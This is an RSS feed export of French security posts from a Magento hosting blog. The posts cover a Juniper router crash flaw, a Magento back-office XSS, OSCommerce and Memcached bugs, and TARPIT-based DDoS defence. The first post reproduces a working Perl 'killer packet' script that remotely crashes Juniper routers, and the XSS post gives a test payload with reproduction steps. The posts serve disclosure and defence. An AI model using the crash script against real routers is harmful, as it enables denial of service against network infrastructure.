<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Communauté Magento francophone &#187; sécurité</title>
	<atom:link href="http://www.wikigento.com/category/securite/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.wikigento.com</link>
	<description>Optimisation de sites E-commerce, hébergment Magento</description>
	<lastBuildDate>Mon, 30 Jan 2012 16:33:08 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Chasse aux pigeons : Votre Juniper est vulnérable !</title>
		<link>http://www.wikigento.com/securite/routeur_juniper_vulnerables/</link>
		<comments>http://www.wikigento.com/securite/routeur_juniper_vulnerables/#comments</comments>
		<pubDate>Mon, 11 Jan 2010 09:46:48 +0000</pubDate>
		<dc:creator>Philippe Humeau</dc:creator>
				<category><![CDATA[sécurité]]></category>
		<category><![CDATA[faille Juniper]]></category>
		<category><![CDATA[faille routeur]]></category>
		<category><![CDATA[killer paquet]]></category>

		<guid isPermaLink="false">http://www.wikigento.com/?p=1385</guid>
		<description><![CDATA[Faille de la stack TCP sur les Junipers permettant de faire rebooter le routeur à distance.]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><span style="font-family: Verdana, &quot;geneva&quot;;">Bonjour à toutes &amp; à tous,</span></p>
<p style="text-align: justify;"><span style="font-family: Verdana, &quot;geneva&quot;;">Bon, normalement, on parle essentiellement Magento et hébergement ici. Il se trouve que ma société est aussi un acteur de longue date dans le monde de la sécurité informatique et donc forcément, ca nous passionne aussi (en plus ca fait partit de l&#8217;infogérance).</span></p>
<p style="text-align: justify;"><span style="font-family: Verdana, &quot;geneva&quot;;">Donc après les failles XSS de Magento, qui semble t&#8217;il seraient aussi présente dans d&#8217;autres endroits du code après quelques tests,  une nouvelle qui risque de pas mal mettre la zone dans le routage internet ces prochains jours : Déni de service sur les Juniper&#8230;</span></p>
<p style="text-align: justify;"><span style="font-family: Verdana, &quot;geneva&quot;;">Alors Juniper pour les personnes à qui ca ne cause pas, c&#8217;est une marque d&#8217;éléments actifs, notamment de routeurs, grand concurrent de Cisco. Ils font donc des routeurs à l&#8217;excellente réputation, mais là, ils ont dû rater un étage en codant la stack IP du routeur. Bref, en partant d&#8217;un BSD bien propre sur lui, on se retrouve pourtant avec le moyen de faire un &laquo;&nbsp;killer packet&nbsp;&raquo; :</span></p>
<p style="text-align: justify;"><span style="font-family: Verdana, &quot;geneva&quot;;"></p>
<pre lang="”php”">$ cat junos-crash.pl
#!/usr/bin/perl

my $host =      shift;
my $port =      shift;

use             Net::Packet qw($Env);

use             Net::Packet::IPv4;
my $ip =        Net::Packet::IPv4-&gt;new(dst =&gt; $host);

use             Net::Packet::TCP;

my $tcp =       Net::Packet::TCP-&gt;new(
dst         =&gt; $port,
options     =&gt;  "\x65\x02\x01\x01",
);

use             Net::Packet::Frame;
my $frame =     Net::Packet::Frame-&gt;new(l3 =&gt; $ip, l4 =&gt; $tcp);

$frame-&gt;send;</pre>
<p></span></p>
<p style="text-align: justify;"><span style="font-family: Verdana, &quot;geneva&quot;;"><a href="http://lists.grok.org.uk/pipermail/full-disclosure/2010-January/072340.html">L&#8217;article original par son auteur se trouve ici</a> et on trouve <a href="http://evilrouters.net/2010/01/09/junos-psn-2010-01-623-exploit/">aussi des détails ici.</a></span></p>
<p style="text-align: justify;"><span style="font-family: Verdana, &quot;geneva&quot;;"> </span></p>
<p style="text-align: justify;"><span style="font-family: Verdana, &quot;geneva&quot;;">Comme me le disait Émile ce matin (le bosse de l&#8217;exploitation chez nous) : &laquo;&nbsp;ca sent la chasse aux pigeons&nbsp;&raquo;. En traduction littérale, vu le type de réseaux qu&#8217;équipe Juniper, il n&#8217;est pas impossible que quelques routeurs prennent des paquets evil dans les dents, juste histoire de les mettre à genoux.</span></p>
<p style="text-align: justify;"><span style="font-family: Verdana, &quot;geneva&quot;;">Le paquet en question, rien qu&#8217;en réglant des champs d&#8217;options dans le header TCP, permet de faire rebooter le routeur à distance à peine 10 secondes après réception du paquet, sur un kernel panic en plus. </span></p>
<p style="text-align: justify;"><span style="font-family: Verdana, &quot;geneva&quot;;">D&#8217;un autre coté, les routeurs réellement sensibles traitent du BGP et ne sont visibles en IP que pour les admins, ce qui devrait rendre difficile l&#8217;envoie de ce genre de paquets. A voir donc, mais il n&#8217;est pas exclu que ces gentils petits &laquo;&nbsp;killer packet&nbsp;&raquo; fassent parler d&#8217;eux. </span></p>
<p style="text-align: justify;"><span style="font-family: Verdana, &quot;geneva&quot;;">D&#8217;autres questions subsistent à ce stade très en amont de la recherche sur cette faille : toutes les versions sont elles touchées, est-ce reproductible ou l&#8217;environnement nécessite t&#8217;il d&#8217;être dans un état très particulier</span><span style="font-family: Verdana, &quot;geneva&quot;;"> ? Les FreeBSD vont ils hériter de la même vulnérabilité ? Bref, à peine 24h après la first disclosure, il n&#8217;est pas impossible que ca aille plus loin, très loin même, tout comme cette faille peut faire un beau &laquo;&nbsp;pschhhhit&nbsp;&raquo; et ne jamais impacter Internet. W8&amp;C.</span></p>
<p style="text-align: justify;"><span style="font-family: Verdana, &quot;geneva&quot;;"> </span></p>
<p style="text-align: justify;"><span style="font-family: Verdana, &quot;geneva&quot;;"><span style="text-decoration: underline;">Mise à jour 11/01/2010 à 15h42 :</span> La faille a été lancée plusieurs fois contre des Juniper de tests par mes amis et/ou collègues et &#8230; ca marche, <span style="font-family: Verdana, &quot;geneva&quot;;">très bien </span>même. En fait il y a même le routeur d&#8217;un ami qui ne s&#8217;en est pas remis (pas rebooté). Ça sent la très méchante faille générique sur Juniper et l&#8217;impact pourrait être très costaud sur Internet et le routage global. N&#8217;hésitez pas à ajouter vos tests complémentaires ou points de vus en commentaires.</span></p>
<p style="text-align: justify;"><span style="font-family: Verdana, &quot;geneva&quot;;"><span style="font-family: Verdana, &quot;geneva&quot;;"><span style="text-decoration: underline;">Mise à jour 11/01/2010 à 16h51 :</span></span></span><span style="font-family: Verdana, &quot;geneva&quot;;"><span style="font-family: Verdana, &quot;geneva&quot;;"> bon ben comme ca c&#8217;est clair, votre routeur est, par essence vulnérable,</span></span><span style="font-family: Verdana, &quot;geneva&quot;;"><span style="font-family: Verdana, &quot;geneva&quot;;"><span style="text-decoration: underline;"> </span></span>http://praetorianprefect.com/archives/2010/01/junos-juniper-flaw-exposes-core-routers-to-kernal-crash/<br />
</span><span style="font-family: Verdana, &quot;geneva&quot;;">Donc, il faut appliquer la  <a title="bcp38" href="http://www.armware.dk/RFC/bcp/bcp38.html">BCP38</a> sinon c&#8217;est la mort assuré de votre routeur s&#8217;il est visible d&#8217;Internet. La Best Common Practice 38 c&#8217;est : &laquo;&nbsp;filter at the edge&nbsp;&raquo;, réduire au minimum requis les IP autorisées à accéder au routeur.</span></p>
<p style="text-align: justify;"><span style="font-family: Verdana, &quot;geneva&quot;;"><span style="font-family: Verdana, &quot;geneva&quot;;"><span style="font-family: Verdana, &quot;geneva&quot;;"><span style="text-decoration: underline;">Mise à jour 12/01/2010 à 10h10 :</span></span></span><span style="font-family: Verdana, &quot;geneva&quot;;"><span style="font-family: Verdana, &quot;geneva&quot;;"> Allez, visiblement, janvier ca va être la fête des poneys ! </span></span>http://it.slashdot.org/story/10/01/11/1640232/Firm-To-Release-Database-Web-Server-0-Days?art_pos=11 </span></p>
<p style="text-align: justify;"><span style="font-family: Verdana, &quot;geneva&quot;;">Ça aussi ca promet un beau gros cauchemar de mise à jour puisque Mysql serait potentiellement victime d&#8217;un overflow (ou plusieurs). Encore une fois ca dépendra de la façon dont c&#8217;est exploitable mais dans le principe ca pourrait être dangereux.</span></p>
<p style="text-align: justify;"><span style="font-family: Verdana, &quot;geneva&quot;;"> </span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.wikigento.com/securite/routeur_juniper_vulnerables/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Et une XSS dans Magento, une&#8230;</title>
		<link>http://www.wikigento.com/securite/et-une-xss-dans-magento-une/</link>
		<comments>http://www.wikigento.com/securite/et-une-xss-dans-magento-une/#comments</comments>
		<pubDate>Wed, 06 Jan 2010 18:22:41 +0000</pubDate>
		<dc:creator>Philippe Humeau</dc:creator>
				<category><![CDATA[sécurité]]></category>
		<category><![CDATA[cross site scripting magento]]></category>
		<category><![CDATA[sécurité magento]]></category>
		<category><![CDATA[xss magento]]></category>

		<guid isPermaLink="false">http://www.wikigento.com/?p=1383</guid>
		<description><![CDATA[Multiples XSS dans Magento (une fois authentifié dans le backoffice)]]></description>
			<content:encoded><![CDATA[<h2><span style="font-family: Verdana, &quot;geneva&quot;;">Bonne année, meilleurs vœux </span></h2>
<p style="text-align: justify"><span style="font-family: Verdana, &quot;geneva&quot;;">Que la fortune se jette sur vous par surprise, que les anges du E-commerce bénissent le berceau de votre nouveau site web, que les trompettes de la gloire chante leur mélodieuse mélopée dans le creux de vos oreilles. Bref tout le meilleur à vous, à tous, que 2010 soit une année joyeuse !</span></p>
<p><span style="font-family: Verdana, &quot;geneva&quot;;">Pour se chauffer en ce début d&#8217;année, une petite faille dans Magento ca vous dit ?</span></p>
<h2><span style="font-family: Verdana, &quot;geneva&quot;;">Le vieux démon est de retour chez Varien, le XSS </span></h2>
<p style="text-align: justify"><span style="font-family: Verdana, &quot;geneva&quot;;">Je ne redécrirai pas cette classe de vulnérabilité car </span><a title="Faille XSS" href="http://www.wikigento.com/securite/les-xss-comment-ca-marche/"><span style="font-family: Verdana, &quot;geneva&quot;;">ce post précédent était assez détaillé sur le sujet</span></a><span style="font-family: Verdana, &quot;geneva&quot;;"> et la littérature ne manque pas. </span></p>
<p style="text-align: justify"><span style="font-family: Verdana, &quot;geneva&quot;;">Magento, vu l&#8217;impressionnante quantité de code qu&#8217;il contient, est relativement bien géré sur ce plan, mais&#8230; L&#8217;usage de Zend et les bonnes pratiques mises en place par Yoav et Michael ne sont pas toujours suffisantes. Un moment d&#8217;égarement, un vieux bout de code jamais audité, personne n&#8217;est à l&#8217;abri.</span></p>
<h2><span style="font-family: Verdana, &quot;geneva&quot;;">La vulnérabilité du jour</span></h2>
<p style="text-align: justify"><span style="font-family: Verdana, &quot;geneva&quot;;">En fait, elle est relativement mineure en terme de possibilités car il faut déjà être un utilisateur authentifié pour pouvoir l&#8217;exploiter. Ceci étant, une fois loggé dans le backoffice, peut mener des actions assez dangereuses en terme de Cross Site Scripting.</span></p>
<p style="text-align: justify"><span style="font-family: Verdana, &quot;geneva&quot;;">Les versions touchées de manière certaines sont les 1.3.2.xx en community edition, peut être que d&#8217;autres sont aussi vulnérables. </span></p>
<p style="text-align: justify"><span style="font-family: Verdana, &quot;geneva&quot;;">Le paramètre &laquo;&nbsp;product_name&nbsp;&raquo; n&#8217;est pas correctement nettoyé, &laquo;&nbsp;sanitized&nbsp;&raquo; en anglais. Cette procédure consiste à vérifier que la variable passée ne contient pas de &laquo;&nbsp;*&#8217;%$ et autres caractère spéciaux permettant de passer du Javascript.</span></p>
<p style="text-align: justify"><span style="font-family: Verdana, &quot;geneva&quot;;">Idem pour les variables : Product SKU, Product description, customer group name, category name, attribute set, sitemap path, customer tax class, product tax class, taxe rate id qui ne sont pas non plus nettoyées correctement.</span></p>
<p style="text-align: justify"><span style="font-family: Verdana, &quot;geneva&quot;;"><a href="http://www.madirish.net/?article=445">Post original de la faille</a> </span></p>
<h2><span style="font-family: Verdana, &quot;geneva&quot;;">Savoir si l&#8217;on est vulnérable à cette XSS</span><span style="font-family: Verdana, &quot;geneva&quot;;"><br />
</span></h2>
<ol>
<li style="text-align: justify"><span style="font-family: Verdana, &quot;geneva&quot;;">Allez dans le backoffice</span></li>
<li style="text-align: justify"><span style="font-family: Verdana, &quot;geneva&quot;;">Cliquez dans catalogue</span></li>
<li style="text-align: justify"><span style="font-family: Verdana, &quot;geneva&quot;;">Mettre les réglages par défaut et cliquer sur continuer</span></li>
<li style="text-align: justify"><span style="font-family: Verdana, &quot;geneva&quot;;">Entrez &laquo;&nbsp;&lt;script&gt;Alert(&#8216;Cross Site Scripting&#8217;);&lt;/script&gt;</span></li>
<li><span style="font-family: Verdana, &quot;geneva&quot;;">Entrez des données au hasard dans les autres champs et cliquez sur &#8216;Save&#8217;</span></li>
<li><span style="font-family: Verdana, &quot;geneva&quot;;">Cliquez sur Ventes-&gt;Commandes et &laquo;&nbsp;créer une nouvelle commande&nbsp;&raquo;</span></li>
<li><span style="font-family: Verdana, &quot;geneva&quot;;">Choisissez un client</span></li>
<li><span style="font-family: Verdana, &quot;geneva&quot;;">Cliquez sur &laquo;&nbsp;Ajouter un produit&nbsp;&raquo;</span></li>
<li><span style="font-family: Verdana, &quot;geneva&quot;;">Sélectionnez le produit nouvellement créé et ajouter le produit à la commande</span></li>
<li><span style="font-family: Verdana, &quot;geneva&quot;;">Et hop, une faille XSS !</span></li>
</ol>
<h2><span style="font-family: Verdana, &quot;geneva&quot;;">Une méthode complète de tests ? </span></h2>
<p style="text-align: justify"><span style="font-family: Verdana, &quot;geneva&quot;;">Bien évidemment, pour éviter cela, une analyse statique et/ou dynamique du code source produit après un commit SVN serait pertinent chez Varien. Évidemment, si c&#8217;est le cas chez Varien, c&#8217;est aussi vrai pour les web agency qui surcharge les classes du framework ou ne code pas toujours dans les normes.</span><span style="font-family: Verdana, &quot;geneva&quot;;"> </span></p>
<h2><span style="font-family: Verdana, &quot;geneva&quot;;">Comment se protéger correctement ? </span></h2>
<p style="text-align: justify"><span style="font-family: Verdana, &quot;geneva&quot;;">Déjà, pas de panique, la faille n&#8217;est pas gravissime car elle nécessite d&#8217;être déjà authentifié pour nuir. Techniquement, si quelqu&#8217;un a les accès en backoffice et veut nuir, ca risque d&#8217;être plus simple de faire autrement que de faire une XSS. Cela peut être une méthode subtil pour nuir cependant. </span></p>
<p style="text-align: justify"><span style="font-family: Verdana, &quot;geneva&quot;;">Imaginons qu&#8217;un concurrent réussisse à se connecter à votre backoffice, il lui sera alors possible de capter tous vos clients ou de leur nuire en infectant leurs browsers voir en détournant les commandes&#8230; Gênant.</span></p>
<p style="text-align: justify"><span style="font-family: Verdana, &quot;geneva&quot;;">Si (et ce n&#8217;est pas prouvé pour le moment), si la vulnérabilité touche aussi la version EE, les rôles peuvent être très séparés et du coup un stagiaire avec des droits de pioupiou pourrait injecter une XSS auprès des clients. </span></p>
<p style="text-align: justify"><span style="font-family: Verdana, &quot;geneva&quot;;"><span style="text-decoration: underline;">Que faire :</span></span></p>
<ol>
<li style="text-align: justify"><span style="font-family: Verdana, &quot;geneva&quot;;">Mettre un mot de passe fort et ne faire des comptes qu&#8217;aux personnes de confiance</span></li>
<li style="text-align: justify"><span style="font-family: Verdana, &quot;geneva&quot;;">Déporter son backoffice sur un autre sous domaine et lui mettre un HTaccess</span></li>
<li style="text-align: justify"><span style="font-family: Verdana, &quot;geneva&quot;;">Mettre à jour sa version en 1.4 CE ou 1.7 EE</span></li>
<li><span style="font-family: Verdana, &quot;geneva&quot;;">&lt;chez Varien&gt; auditer le code source &lt;chez les webagency&gt; faire auditer le site une fois qu&#8217;il est finit</span></li>
</ol>
<p><span style="font-family: Verdana, &quot;geneva&quot;;"> </span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.wikigento.com/securite/et-une-xss-dans-magento-une/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Encore des vulnérabilités sécurité dans le monde du e-commerce</title>
		<link>http://www.wikigento.com/securite/encore-des-vulnerabilites-securite-dans-le-monde-du-e-commerce/</link>
		<comments>http://www.wikigento.com/securite/encore-des-vulnerabilites-securite-dans-le-monde-du-e-commerce/#comments</comments>
		<pubDate>Wed, 30 Dec 2009 13:11:36 +0000</pubDate>
		<dc:creator>Philippe Humeau</dc:creator>
				<category><![CDATA[admin système & réseau]]></category>
		<category><![CDATA[sécurité]]></category>
		<category><![CDATA[faille os-commerce]]></category>
		<category><![CDATA[memcached]]></category>
		<category><![CDATA[overflow Memcached]]></category>

		<guid isPermaLink="false">http://www.wikigento.com/?p=1324</guid>
		<description><![CDATA[deux failles de sécurité, une sur OS-commerce et une majeure (overflow) sur Memcached.]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Allez, fin d&#8217;année, on se fait quand même un post pour relater deux évènements non négligeables en matière de sécurité, à savoir deux failles de sécurité. Il en sort régulièrement, sur tout un tas d&#8217;applications, alors je ne cite que ces deux là mais beaucoup d&#8217;autres mériterai le droit de citation également.</p>
<p style="text-align: justify;">Mes camarades de NBS System ont repéré une faille de D.O.S sur Magento qui est en cour de traitement chez Varien et qui ne sera donc rendu publique que lorsqu&#8217;elle sera patchée. Nous allons ici nous intéresser à Os commerce et Memcached.</p>
<h2>Faille OS-commerce</h2>
<p style="text-align: justify;">Pour ceux qui tournent encore en OS-commerce, <a href="http://www.milw0rm.com/exploits/9556">Milworm reporte une méchante faille de sécurité</a> sur le célèbre framework. L&#8217;auteur (Flyh4t) propose un exploit effectif sur les version 2.2 RC2a au moins. Il est probable que d&#8217;autres versions soient vulnérables. Ca date du 31/08 mais bon, vu la vitesse à laquelle se patch le parc Français quand il y a une vulnérabilité&#8230; (cf la vulnérabilité sur le DNS de Kaminsky ou on a encore 8% du parc en non patché). <a href="http://seclists.org/fulldisclosure/2009/Nov/170">Plus d&#8217;info ici.</a></p>
<h2>Faille Memcached</h2>
<p style="text-align: justify;">On continue en musique avec un bon gros trou de sécurité qui fait mal, sur Memcached. Alors là, c&#8217;est plus critique car nombreuses, très nombreuses, sont les plateformes qui utilisent Memcached, sur Magento comme ailleurs, ce système de cache est populaire.</p>
<p style="text-align: justify;">Et pan le memcached :  <a title="Faille sur security focus" href="http://www.securityfocus.com/bid/35989">http://www.securityfocus.com/bid/35989</a></p>
<p style="text-align: justify;">C&#8217;est goutu, frais, long en bouche et fruité, mais non ce n&#8217;est pas un bourgogne, c&#8217;est memcached qui a un bon overflow&#8230; Wahouuu le pire du pire, l&#8217;overflow et pas qu&#8217;un seul. La faille date du 7/08 à l&#8217;origine mais elle a été mise en jour le 14/12 pour être beaucoup plus générique.</p>
<p style="text-align: justify;">Ça ne touche cependant &laquo;&nbsp;officiellement&nbsp;&raquo; que les distribution Linux suivantes (à ce jour) : les suze, redhat, parus, mandrake et danga. En général, un overflow dans un code en C, ce n&#8217;est pas fondamentalement lié à la distribution mais plus au code que la distribution a compilé pour son usage. Cela signifie globalement que le code source de memcached est susceptible de contenir des overflows et donc qu&#8217;avoir son propre système au dessus pour protéger votre infrastructure, ca ne fera pas de mal.</p>
<p style="text-align: justify;">Les personnes sérieuses en infogérance installent GRsec &amp; Pax quand ils mettent des serveurs Linux en visibilité sur Internet, notamment parceque PHP contient pas mal d&#8217;overflow et que tout démon est susceptible d&#8217;en connaitre, comme une fois de plus le montre cette faille de Memcached.</p>
<h2>Grsecurity, l&#8217;anti Overflow</h2>
<p style="text-align: justify;">Je ne serai donc trop vous recommander d&#8217;utiliser GRsec sur vos environnement de production puisque c&#8217;est la seule façon de se protéger à 99% contre les heap &amp; stack overflow, off by one et autres &laquo;&nbsp;boundary check errors&nbsp;&raquo;.</p>
<p style="text-align: justify;">Rappelons que quelqu&#8217;un qui réussit une attaque par overflow va prendre le contrôle de la zone d&#8217;exécution  du programme ainsi que ses droits pour ouvrir un shell à distance. Une fois cela fait, même si le démon tournait en www-user ou avec un autre utilisateur non privilégié, l&#8217;escalade vers le compte root prend 90% du temps moins de 5 minutes. Les overflows sont donc l&#8217;une des plus grande menace possible sur un système si ce n&#8217;est la plus grande puisqu&#8217;ils mènent quasi tout le temps à une compromission totale du serveur.</p>
<p style="text-align: justify;">Pour ceux qui découvrent GRsec : vous pouvez voir un (très) <a href=" : http://www.nbs-system.com/dossiers/howto-iptables.html#conf_kern">vieux howto que j&#8217;avais écris il y a 5 ans ici</a> mais qui vous expliquera déjà au moins la base. Sinon le site de Grsecurity.net vous donnera de l&#8217;info aussi.</p>
<p style="text-align: justify;">Sincèrement, exposer un serveur linux sur le net sans le protéger contre les overflows c&#8217;est un peu comme aller se faire une partie échangiste &laquo;&nbsp;thaïlando-congolaise&nbsp;&raquo; sans capote, disons qu&#8217;il existe un risque&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.wikigento.com/securite/encore-des-vulnerabilites-securite-dans-le-monde-du-e-commerce/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Tarpit &amp; iptables : les armes fatales anti-DDOS !</title>
		<link>http://www.wikigento.com/securite/tarpit-iptables-les-armes-fatales-anti-ddos/</link>
		<comments>http://www.wikigento.com/securite/tarpit-iptables-les-armes-fatales-anti-ddos/#comments</comments>
		<pubDate>Fri, 11 Dec 2009 00:32:14 +0000</pubDate>
		<dc:creator>Philippe Humeau</dc:creator>
				<category><![CDATA[admin système & réseau]]></category>
		<category><![CDATA[sécurité]]></category>

		<guid isPermaLink="false">http://www.wikigento.com/?p=1331</guid>
		<description><![CDATA[Un déni de service distribué est un des pires fléau qui puissent frapper un site Web. C'est aussi une des attaques les plus difficiles à parer. Cet article vise à fournir une réponse à ce danger très particulier.]]></description>
			<content:encoded><![CDATA[<h1><strong><span style="font-size: x-large;"><span style="font-family: arial,helvetica,sans-serif;">Un ennemi à part !</span></span><br />
</strong></h1>
<p><BR></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Le problème est, ma foi, assez simple :<br />
</span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">En sécurité informatique, on sait de nos jours parer à la grande majorité des menaces. Si on se concentre sur la partie serveur et sur Linux, Grsex / Pax, un coup de hardening, un kernel statique et optimisé, du chroot et ma foi on est déjà pas mal&#8230;</span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Les démons comme apaches et Mysql, ainsi que les interprêteurs comme PHP ou Perl, sont protégés contre leurs ennemis intimes : les overflows. Les droits séparés, les arborescences protégées, les connexions filtrées, que peut on faire de plus ? Par exemple séparer le back office sur un autre vhost pour ajouter un htaccess afin de le protéger, auditer le site contre les vulnérabilités classiques, XSS, SQL injection etc&#8230;</span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Well&#8230; Que reste t&#8217;il, un ou deux mécanismes à protéger mais&#8230; Le D.D.O.S, c&#8217;est fatal.</span></span></p>
<h1 style="text-align: justify;"><span style="font-size: x-large;"><span style="font-family: arial,helvetica,sans-serif;"><strong>Know your ennemy !</strong></span></span></h1>
<p><BR></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">La D.D.O.S &#8211; Distributed Denial Of Services &#8211; c&#8217;est la grande frayeur de n&#8217;importe quel E-commerçant, de n&#8217;importe quel site gagnant de l&#8217;argent en ligne et surtout, de votre infogérant&#8230;</span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Un déni de service distribué consiste à envoyer des milliers, des dizaines de milliers, des centaines de milliers de requêtes simultanément. Si l&#8217;on limite la réflexion aux sites Web, il suffit, en général, de faire 10 à 50 000 connexions simultanées pour mettre à genou un serveur et/ou la connexion Internet des serveurs.</span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Ces innombrables connexions arrivent, en général, depuis des machines compromises, de partout dans le monde. Ces machines sont compromises par des vers, par exemple Confliker ou d&#8217;autres plus discrets, qui sommeillent dans des PC depuis des mois, à l&#8217;écoute des ordres. Ces machines, appelées Zombies, font partie de réseaux nommés Botnets.</span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Ensuite, c&#8217;est malheureusement d&#8217;une simplicité diabolique. Un script kiddy (ou même un vrai hacker) paye quelques poignées de dollars et loue tout simplement la puissance d&#8217;un botnet. Combien de machines, combien de temps, quelles commandes doit être lancée. Simple, terriblement efficace, imparable&#8230;</span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Les machines reçoivent les ordres et en quelques minutes, des centaines milliers de connexions pleuvent sur le site ciblé.</span></span></p>
<h1 style="text-align: justify;"><span style="font-size: x-large;"><span style="font-family: arial,helvetica,sans-serif;"><strong>Comment éviter une D.D.O.S ?</strong></span></span></h1>
<p><BR></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Une D.D.O.S se base, pas essence, sur des machines compromises, la plupart du temps des bêtes PC de particuliers.</span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Evidemment, nous ne pouvons avoir une action sur ces machines directement. Les désinfecter à distance n&#8217;est pas possible, pas plus que cela ne serait autorisé du reste.</span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Ensuite, bloquer ces machines une par une dans un firewall est aussi inutile qu&#8217;impossible. Impossible à cause du volume, inutile car bloquer ces connexions n&#8217;empêchera pas le pirate d&#8217;en envoyer d&#8217;autres, d&#8217;en envoyer plus et de toute façon, si ce ne sont pas les serveurs qui craquent, ca sera la connexion Internet des serveurs.</span></span></p>
<p style="text-align: justify;"><span style="font-size: x-large;"><span style="font-family: arial,helvetica,sans-serif;"><strong>Damned, we are done ?</strong></span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Non. Plutôt que d&#8217;étudier le problème sous l&#8217;angle de ce qu&#8217;on ne peut pas faire, voyons plutôt ce que nos assaillants ne peuvent pas faire :</span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Il n&#8217;est pas possible pour le pirate de réellement patcher le noyau des machines Windows compromises. Si un ver se comportait de cette façon, il serait beaucoup moins efficace (capté par des anti virus) et beaucoup moins portable (selon les versions de Windows). Donc, les vers tournent en général au dessus, dans la couche logicielle. Résultat, ils sont obligés de faire ce que la couche du dessous demande&#8230;</span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Et c&#8217;est là que ce situe la faille de ces attaques, de ces vers. Si l&#8217;on arrive à forcer les machines à arrêter d&#8217;envoyer des paquets en utilisant une subtilité du protocole TCP, le driver de la carte réseau sera obligé d&#8217;agir et cet ensemble est lui directement au niveau noyau, donc prioritaire sur la couche logicielle <img src='http://www.wikigento.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Voila un début solution semble t&#8217;il&#8230;</span></span></p>
<p style="text-align: justify;"><span style="font-size: x-large;"><span style="font-family: arial,helvetica,sans-serif;"><strong>Tarpit : du goudron et des plumes !</strong></span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Règle number one du Blog : plus c&#8217;est long, moins c&#8217;est lu&#8230; Je vais donc faire court et je ne vais pas non plus vous expliquer comment paramétrer un noyau linux et le compiler, de même pour le binaire iptables. Vous trouverez le noyau ici : ftp.kernel.org et pas mal de guide de survie en googlant.</span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Sinon j&#8217;en ai écris un il y a longtemps, mais ca devrait vous aider, <a title="howto kernel et iptables" href="http://www.nbs-system.com/dossiers/howto-iptables.html">ca se trouve ici</a>. il y a des choses tout à fait dépassées, des choses inexactes dans les exemples de firewall mais je n&#8217;ai pas eu le temps de le corriger. Ceci étant, vous pouvez partir de là. vous aurez besoin de  recompiler aussi le binaire iptables en passant par la patch-o-matic, <a title="patch-o-matic" href="http://netfilter.org/documentation/HOWTO/netfilter-extensions-HOWTO-2.html">tout est expliqué ici</a>.</span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Mais pourquoi Iptables et Tarpit sont nos amis ?</span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">La règle TARPIT, et il existe d&#8217;autres moyens de faire cela évidemment, permet d&#8217;informer nos gentils PC zombies qu&#8217;ils sont priés d&#8217;attendre qu&#8217;on les recontacte avant de nous envoyer le prochain paquet réseau. Les machines Windows, comme la plupart des OS récents du reste, respecte le &laquo;&nbsp;window resizing&nbsp;&raquo;.</span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Quand on règle la fenêtre (window) de communication à une taille de zéro, la machine distante reste dans un état d&#8217;attente, jusqu&#8217;à ce que l&#8217;on remette une taille normale à la window TCP.</span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Mais que se passe t&#8217;il si l&#8217;on ne remet jamais la fenêtre à une taille normale ? Eh bien la machine reste en attente&#8230; Et c&#8217;est là que la solution se situe. La connexion se bloquera jusqu&#8217;à ce que l&#8217;OS fasse le ménage dans ses connexions inertes !</span></span></p>
